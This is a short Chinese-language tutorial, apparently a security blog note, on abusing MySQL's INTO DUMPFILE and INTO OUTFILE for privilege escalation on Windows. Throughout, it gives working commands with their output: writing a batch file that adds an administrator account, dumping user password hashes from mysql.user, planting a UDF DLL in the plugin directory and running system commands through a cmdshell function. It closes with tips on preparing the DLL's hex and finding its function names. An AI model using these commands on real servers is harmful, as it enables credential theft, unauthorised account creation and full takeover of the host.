MYSQL- dumpfile 与 outfile 函数
1、利用into dumpfile生成.bat文件：
mysql> select 'net user x x /add && net localgroup administrators x /add' into dumpfile 'd:\\test.bat'
-> ;
Query OK, 1 row affected (0.01 sec)
2、导出查询结果：
mysql> select concat(user,":",password) from mysql.user into outfile 'd:/user.txt';
Query OK, 9 rows affected (0.00 sec)
3、提权操作：
mysql> show variables like '%plugin%'
-> ;
+---------------+-----------------------------------------------------+
| Variable_name | Value |
+---------------+-----------------------------------------------------+
| plugin_dir | C:\Program Files\MySQL\MySQL Server 5.5\lib\plugin\ |
+---------------+-----------------------------------------------------+
1 row in set (0.08 sec)
mysql> select unhex('udf.dll hex code') into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.5\lib\plugin\xxoo.dll';
Query OK, 1 row affected (0.03 sec)
mysql> create function MyCmd returns string soname "C:\Program Files\MySQL\MySQL Server 5.5\lib\plugin\xxoo.dll";
ERROR 1126 (HY000): Can't open shared library 'C:Program FilesMySQLMySQL Server 5.5libpluginxxoo.dll' (errno: 126 )
mysql> select MyCmd('whoami');
ERROR 1305 (42000): FUNCTION MyCmd does not exist
成功测试：
mysql> create function cmdshell returns string soname 'moonudf.dll';
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
Connection id: 1
Current database: mysql
Query OK, 0 rows affected (0.25 sec)
mysql> select cmdshell('whoami');
+-------------------------------------------------------+
| cmdshell('whoami') |
+-------------------------------------------------------+
|
--------------------------------------------完成!
|
+-------------------------------------------------------+
1 row in set (0.08 sec)
添加一个用户：
mysql> select cmdshell('net user test w321321 /add');
+-------------------------------------------------------------------------+
| cmdshell('net user test w321321 /add') |
+-------------------------------------------------------------------------+
| 命令成功完成。
--------------------------------------------完成!
|
+-------------------------------------------------------------------------+
1 row in set (0.36 sec)
添加用户到administrators组：
mysql> select cmdshell('net localgroup administrators test /add ');
+-------------------------------------------------------------------------+
| cmdshell('net localgroup administrators test /add ') |
+-------------------------------------------------------------------------+
| 命令成功完成。
--------------------------------------------完成!
|
+-------------------------------------------------------------------------+
1 row in set (0.22 sec)
//
一点小知识点:
如何获取该udf.dll文件的16进制值(hex)?
我们可以本地搭建mysql环境 找个可以用的udf.dll文件 执行下面操作
mysql> select hex(load_file ('c:/windows/temp/xxoo.dll')) into outfile 'c:/windows/temp/xxoo.txt';
如何获取该udf插件的内置 函数?
通过C32 等 16进制 编辑器 或直接通过记事本 打开 看关键字 即可//